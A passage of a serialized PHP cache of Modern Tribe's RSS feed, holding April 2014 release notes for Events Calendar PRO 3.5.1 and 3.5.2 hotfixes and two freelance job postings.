you!</p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:58:\"http://tri.be/help-wanted-wordpress-plugin-developer/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:6;a:6:{s:4:\"data\";s:42:\"\n		\n		\n		\n		\n		\n				\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:43:\"Release: Events Calendar PRO 3.5.2 (hotfix)\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:55:\"http://tri.be/release-events-calendar-pro-3-5-2-hotfix/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:64:\"http://tri.be/release-events-calendar-pro-3-5-2-hotfix/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 18 Apr 2014 20:15:09 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Release Notes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:23:\"http://tri.be/?p=136665\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:602:\"Hey everyone! Just a heads up that if you&#8217;re running Events Calendar PRO, we just pushed a 3.5.2 release out that addresses another problem related to our recurrence refactor. Specifically, this release fixed a bug that inadvertently creates duplicate instances of events scheduled past the future cutoff date. There isn&#8217;t any update to the core The Events Calendar, so you will be running TEC 3.5.1 and PRO 3.5.2 for the duration of this release cycle. If &#8230; <a href=\"http://tri.be/release-events-calendar-pro-3-5-2-hotfix/\">Continue reading <span class=\"meta-nav\">&#8594;</span></a>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:3:\"Rob\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:1756:\"<p>Hey everyone! Just a heads up that if you&#8217;re running <strong>Events Calendar PRO</strong>, we just pushed a 3.5.2 release out that addresses another problem related to our recurrence refactor. Specifically, this release fixed a bug that inadvertently creates duplicate instances of events scheduled past the future cutoff date.</p>\n<p>There isn&#8217;t any update to the core <a href=\"http://wordpress.org/plugins/the-events-calendar/\">The Events Calendar</a>, so you will be running TEC 3.5.1 and PRO 3.5.2 for the duration of this release cycle. If anyone encounters further issues on the recurrence front &#8212; and finds those aren&#8217;t solved by updating to 3.5.2 and using the <a href=\"https://cloudup.com/cpSdj-kGDpf\">duplicate cleanup plugin</a> we built from there &#8212; please don&#8217;t hesitate to <a href=\"http://tri.be/support/forums/\">let us know on the forums</a>.</p>\n<p><strong>Wondering how to use the duplicate cleanup plugin?</strong> It&#8217;s easy, and the plugin is just a single file. (That said, you should still backup before installing it, as you would with any new plugin!) Add it to your plugins directory, and activate the plugin so it appears in your active plugins list:</p>\n<p style=\"text-align: center;\"></p>\n<p>Navigate over to the main Event Settings page (<em>Events &#8211;&gt; Settings</em> in the sidebar) and you will see a new button on the main events settings page for &#8220;Merging Duplicate Recurring Events&#8221;:</p>\n<p style=\"text-align: center;\"></p>\n<p>Click the button to begin the update process. For larger sites, this might take a long time, but it should continue running until all are fixed. If it doesn&#8217;t finish, you can safely run it again without adverse effects.</p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"http://tri.be/release-events-calendar-pro-3-5-2-hotfix/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:7;a:6:{s:4:\"data\";s:48:\"\n		\n		\n		\n		\n		\n				\n		\n		\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:41:\"Help wanted: WordPress Frontend Developer\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:55:\"http://tri.be/help-wanted-wordpress-frontend-developer/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:64:\"http://tri.be/help-wanted-wordpress-frontend-developer/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 08 Apr 2014 21:35:20 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:3:{i:0;a:5:{s:4:\"data\";s:4:\"Gigs\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}i:1;a:5:{s:4:\"data\";s:4:\"News\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}i:2;a:5:{s:4:\"data\";s:20:\"News & Announcements\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:23:\"http://tri.be/?p=129781\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:649:\"The Opportunity We&#8217;re looking for a talented freelance WordPress theme &#38; frontend developer in North America. The opportunity calls for a mixed set of skills. We need someone with expert level CSS skills, impeccable WordPress experience, and solid Javascript, PHP &#38; MYSQL skills. Experience building sites with extremely large loads is a plus. We like our stuff to run fast and smooth. We&#8217;re currently working on high-profile WordPress implementations that range between conventional to seriously &#8230; <a href=\"http://tri.be/help-wanted-wordpress-frontend-developer/\">Continue reading <span class=\"meta-nav\">&#8594;</span></a>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:3:\"Rob\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:5298:\"<h3>The Opportunity</h3>\n<p>We&#8217;re looking for a talented freelance WordPress theme &amp; frontend developer in North America.</p>\n<p>The opportunity calls for a mixed set of skills. We need someone with expert level CSS skills, impeccable WordPress experience, and solid Javascript, PHP &amp; MYSQL skills. Experience building sites with extremely large loads is a plus. We like our stuff to run fast and smooth.</p>\n<p>We&#8217;re currently working on high-profile WordPress implementations that range between conventional to seriously bleeding edge. We will want to see plugin code examples &#8211; public plugins are ideal. We want people that are able to develop code that can withstand high profile sites and intense loads. You should be comfortable working as part of a team &#8211; your code will have to integrate into an existing architecture. If the tightly optimized code get&#8217;s you excited &#8211; you&#8217;re probably a good fit.</p>\n<h3>The Company</h3>\n<p>Modern Tribe is a digital agency with a modern twist. We are a product company. We are educators. All freelancers. All experts. In today’s world, we get to be many things to many people.</p>\n<p>We believe in making quality products for other people and ourselves, balanced by living quality lives. We are 100% distributed &amp; our team is spread around North America (and a hint beyond).</p>\n<p>We believe that you should be happy, helpful, curious &amp; accountable, on top of being good at what you do. We believe life should be lived intentionally. We believe in a class of artisans and craftsman in control of their work who solve people problems rather than just build more crap. We believe in a sustainable vision of open source, and contribute consistently into the ecosystem.</p>\n<h3>Team Requirements</h3>\n<p>We love working with each other because we have built a culture that suits us well. We work exclusively with freelancers and coordinate their talents for large projects. To be on our team, you must be:</p>\n<ul>\n<li><strong>Helpful:</strong> Always looking for ways that you can help others.</li>\n<li><strong>Happy:</strong> Where there is a will, there is a way. Having a positive disposition allows us to achieve great things and to support each other.</li>\n<li><strong>Curious:</strong> It is essential that you have a passion for learning. Technology changes daily, and life has a way of constantly raising the bar.</li>\n<li><strong>Accountable:</strong> Our clients expect us to get the right thing done on budget and on time. Communicating expectations and meeting them is the cornerstone of success.</li>\n</ul>\n<h3>Location</h3>\n<p>Work from anywhere in the US or Canada. PLEASE DO NOT APPLY if your working hours are in a timezone outside of the US range.</p>\n<h3>Responsibilities</h3>\n<ul>\n<li>Architect and document theme solutions using best practices</li>\n<li>Integrate code into existing theme architecture</li>\n<li>Coordinate with designers, back-end developers and other theme devs</li>\n<li>Produce code solutions that load quickly and smoothly</li>\n<li>Be a part of QA team and optimize / review other team members’ code</li>\n<li>Work with design team to architect most effective solutions</li>\n</ul>\n<h3>Personal Competencies</h3>\n<ul>\n<li>Strong communication and/or experience working as part of a remote team</li>\n<li>Self-motivated, detail-oriented, strong organizational skills, with a methodical approach to all tasks</li>\n<li>Ability to prioritize workloads and meet deadlines</li>\n<li>Fluent English speaker</li>\n</ul>\n<h3>Required Knowledge and Experience</h3>\n<ul>\n<li>Full Time freelancers only!</li>\n<li>WordPress structure, themes, and plugins</li>\n<li>Experience with dynamic CSS systems such as LESS or SASS</li>\n<li>Javascript</li>\n<li>Basic LAMPS skills</li>\n<li>GIT</li>\n<li>Proficiency at local environment development</li>\n</ul>\n<h3>Additional Experience a Plus</h3>\n<ul>\n<li>Examples of plugins / code that you&#8217;ve released to the open source community</li>\n<li>Advanced WordPress debug skills</li>\n<li>Apple Mac dev environment</li>\n</ul>\n<h3>Compensation</h3>\n<p>Pay range is between $35-60 per hour commensurate with qualifications and experience. This is a one time contract position, though we are always seeking longer relationships with kick-ass people.</p>\n<h3>Perks</h3>\n<p>We believe that freelancing is a way of life. We understand what it means to be a freelancer. We offer consistency in expectations, payment, and support. We believe in learning from each other and fostering personal growth. You can expect to learn a lot while working with us.</p>\n<h3>Applying</h3>\n<p>You should apply at <a href=\"http://tri.be/about/join-our-team/\">our Join the Tribe page</a>. Make sure to select &#8220;Frontend Development&#8221; from the list of options. BEFORE APPLYING, please read the job post carefully. So many people seem to apply without actually reading it. PLEASE DO NOT APPLY if your working timezone is outside of the US range.</p>\n<p>With your application, make sure to include the following:</p>\n<ul>\n<li>Links to examples of your work</li>\n<li>Links to code samples</li>\n<li>Your favorite color (that way we know you actually read this)</li>\n<li>A couple of references</li>\n</ul>\n<p>We look forward to hearing from you!</p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"http://tri.be/help-wanted-wordpress-frontend-developer/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"1\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:8;a:6:{s:4:\"data\";s:45:\"\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:39:\"Help Wanted: Sourcer / Recruiting Admin\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:51:\"http://tri.be/help-wanted-sourcer-recruiting-admin/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"http://tri.be/help-wanted-sourcer-recruiting-admin/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 04 Apr 2014 12:27:07 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:2:{i:0;a:5:{s:4:\"data\";s:4:\"Gigs\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}i:1;a:5:{s:4:\"data\";s:20:\"News & Announcements\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:23:\"http://tri.be/?p=127977\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:623:\"Modern Tribe is growing. We’re seeking the right person to help the management team source talent and triage applicants. This contract position is hourly and will flex based upon staffing needs. Review applications as they come in &#38; follow up with promising candidates to make sure all information required is complete. Review our sourcing approach, document &#38; tweak to maximize number of quality applicants. Proactively source / find creative methods to reach new candidates. Support &#8230; <a href=\"http://tri.be/help-wanted-sourcer-recruiting-admin/\">Continue reading <span class=\"meta-nav\">&#8594;</span></a>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:14:\"Shane Pearlman\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:5869:\"<p>Modern Tribe is growing. We’re seeking the right person to help the management team source talent and triage applicants. This contract position is <strong>hourly</strong> and <strong>will flex</strong> based upon staffing needs.</p>\n<ul>\n<li>Review applications as they come in &amp; follow up with promising candidates to make sure all information required is complete.</li>\n<li>Review our sourcing approach, document &amp; tweak to maximize number of quality applicants.</li>\n<li>Proactively source / find creative methods to reach new candidates.</li>\n<li>Support hiring managers in writing and posting opportunities.</li>\n</ul>\n<p>You will be on the front-lines, representing Modern Tribe to team members&#8230;in many ways, you are the face of the company.</p>\n<h3>The Requirements</h3>\n<p>Only applicants who meet the following criteria will be considered:</p>\n<ul>\n<li>Matches Modern Tribe’s company culture: Happy, Helpful, Curious &amp; Accountable.</li>\n<li>Has sourced successfully for project based technical freelance positions (as opposed to full time W2s).</li>\n<li>Operates as a full-time freelancer and has been doing so for at least 1 year (not a full-time employee moonlighting; if you don’t consider sourcing / recruiting your business, this probably won’t be a good fit).</li>\n<li>Has at least 6 month &#8211; 1 year of experience managing themselves in a remote, distributed working environment.</li>\n<li>Speaks fluent English and can join us for a weekly review meet during PST.</li>\n<li>Displays a willingness to commit to working during PST, CST or EST time zones (we don&#8217;t care where you are, just when you are around so you overlap with hiring managers).</li>\n<li>Demonstrates detail oriented, well organized working patterns and a passion for creating stability out of chaos.</li>\n<li>Possesses superb communication skills, a transparent attitude and self-confidence.</li>\n</ul>\n<p><strong>Huge</strong> bonus points awarded to those who:</p>\n<ul>\n<li>Have experience in the WordPress / Open Source ecosystem.</li>\n<li>Have recruited freelancers successfully for agencies.</li>\n</ul>\n<h3>The Day-to-Day</h3>\n<p>You sit down at your desk / cafe table / hammock for the day with a cup of coffee and log into Modern Tribe’s applicant queue, where you see all new submissions since your last pass. After reviewing them and discussing strategy with our support manager Rob about the 2 community support positions he needs to fill, you head out to do some research on where to find freelancers who are both technical and have people skills that would be inclined to do support. You and Rob also brainstorm ideas on how to better reach into Tribe&#8217;s 750,000 users to find great candidates.</p>\n<p>After you make a list of ideal job boards for Rob&#8217;s gigs and you’ve finished your second cup of coffee, you shift over to work on the search for a WordPress plugin developer that Shane needs. You sift through the 66 current applicants, declining the persistently annoying foreign outsourcing companies, and follow up with 8 of the best looking prospects to make sure we have their rate, location, code samples and availability. You book a bit of time for our developer Barry to code review the code samples and let Shane know via the recruiting chat channel that he should have a few people to review by the end of the week.</p>\n<p>You check your calendar before the day is out and see that you booked a bit of time Friday to finesse the marketing lead description the owners sent for you input. It is a new position for Tribe and the leadership has been working on getting the right description of requirements in place.</p>\n<p>Tomorrow is Thursday and that is family day. You can&#8217;t wait to show everyone photos of your daughter&#8217;s first time on a boogie board. The team knows you might check email, but look forward to seeing your progress on Friday.</p>\n<h3>The Company</h3>\n<p>Modern Tribe is a digital agency with a modern twist. We are a product company. We are educators. All freelancers. All experts. In today’s world, we get to be many things to many people.</p>\n<p>We believe in making quality products for other people and ourselves, balanced by living quality lives. We are 100% distributed &amp;amp; our team is spread around North America (and a hint beyond).</p>\n<p>We believe that you should be happy, helpful, curious, and accountable. On top of all that, you should be good at what you do. We believe life should be lived intentionally. We believe in a class of artisans and craftsman in control of their work who solve people problems rather than just build more junk. We believe in a sustainable vision of open source, and contribute consistently into the ecosystem.</p>\n<h3>Load &amp; Compensation</h3>\n<p>This position is contract based with an hourly pay range between $20 &#8211; $40 based upon experience. We currently have 7 positions that need sourcing. This is unusually high and often find ourselves go months without needing to actively recruit. This is a short term opportunity that could evolve into a beautiful (although periodic) relationship.</p>\n<h3>Applying</h3>\n<p>You should apply at <a href=\"http://tri.be/about/join-our-team/\">our Join the Tribe page</a>. BEFORE APPLYING, please read the job post carefully. So many people seem to apply without actually reading it.</p>\n<p>PLEASE DO NOT APPLY if your working hours are in a timezone outside of the US range.</p>\n<p>Please apply via our application form. Make sure to include the following:</p>\n<ul>\n<li>Say Hi and tell us a bit about yourself. It&#8217;s friendly and we like that.</li>\n<li>Briefly describe your approach to sourcing.</li>\n<li>Briefly describe what an ideal workflow is with a hiring manager.</li>\n<li>Please include a couple of references.</li>\n</ul>\n<p>We look forward to hearing from you!</p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:56:\"http://tri.be/help-wanted-sourcer-recruiting-admin/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:9;a:6:{s:4:\"data\";s:42:\"\n		\n		\n		\n		\n		\n				\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:43:\"Release: Events Calendar PRO 3.5.1 (hotfix)\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:55:\"http://tri.be/release-events-calendar-pro-3-5-1-hotfix/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:64:\"http://tri.be/release-events-calendar-pro-3-5-1-hotfix/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 02 Apr 2014 22:27:37 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Release Notes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:23:\"http://tri.be/?p=127093\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:613:\"After releasing our 3.5.1 hotfix for The Events Calendar yesterday, we spent today flushing out a few significant issues in PRO that we didn&#8217;t feel should wait until next month&#8217;s maintenance build. Those were just released in the form of Events Calendar PRO 3.5.1. The changelog is: Patched a bug where the “Recurring event instances” setting was impacting month view, instead of just appearing on list-based views (thanks to alexhammerstein on the forums for this &#8230; <a href=\"http://tri.be/release-events-calendar-pro-3-5-1-hotfix/\">Continue reading <span class=\"meta-nav\">&#8594;</span></a>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:3:\"Rob\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:2211:\"<p>After releasing our <a title=\"Release: The Events Calendar 3.5.1 (hotfix)\" href=\"https://tri.be/release-the-events-calendar-3-5-1-hotfix/\">3.5.1 hotfix for The Events Calendar</a> yesterday, we spent today flushing out a few significant issues in PRO that we didn&#8217;t feel should wait until next month&#8217;s maintenance build. Those were just released in the form of <strong>Events Calendar PRO 3.5.1</strong>. The changelog is:</p>\n<ul>\n<li>Patched a bug where the “Recurring event instances” setting was impacting month view, instead of just appearing on list-based views<em> (thanks to alexhammerstein on the forums for this report!)</em></li>\n<li>Addressed an issue caused by our recurrence refactor where certain sites/hosting providers experienced a fatal error blocking admins from the dashboard <em>(thanks to Jared on the forums for the first report!)</em></li>\n<li>Fixed an uncaught exception/fatal error that appeared during the conversion of recurring events for some users <em>(thanks to Mariruth on the forum for the first report of this!)</em></li>\n<li>Patched a SQL error that appeared on sites without any events<em> (thanks to user nothingtodo on the forums for the report here!)</em></li>\n</ul>\n<p>For those keeping track, that means TEC/PRO are both on 3.5.1; the rest of the<a title=\"Release: Version 3.5 of The Events Calendar, Events Calendar PRO + all add-ons\" href=\"https://tri.be/release-version-3-5-of-the-events-calendar-events-calendar-pro-all-add-ons/\"> plugin suite remains on 3.5</a> at this time. If you posted a forum thread about one of the PRO issues this release aims to address, we sure would appreciate some confirmation one way or another in the appropriate thread once you&#8217;ve applied the update &#8212; if it works, we&#8217;ll close the thread out and send you on your way. If it&#8217;s still problematic, we&#8217;ll do our best to figure out why and get you sorted.</p>\n<p>Likewise, if you find 3.5.1 introduces new issues not previously experienced in 3.5, <a href=\"http://tri.be/support/forums/\">create a new thread at the forums</a> and we&#8217;ll hit that in as timely a fashion as possible. Thanks for your patience and support so far!</p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"http://tri.be/release-events-calendar-pro-3-5-1-hotfix/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}}}s:27:\"http://www.w3.org/2005/Atom\";a:1:{s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:0:\"\";s:7:\"attribs\";a:1:{s:0:\"\";a:3:{s:4:\"href\";s:37:\"http://tri.be/category/products/feed/\";s:3:\"rel\";s:4:\"self\";s:4:\"type\";s:19:\"application/rss+xml\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:44:\"http://purl.org/rss/1.0/modules/syndication/\";a:2:{s:12:\"updatePeriod\";a:1:{i:0;a:5:{s:4:\"data\";s:6:\"hourly\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:15:\"updateFrequency\";a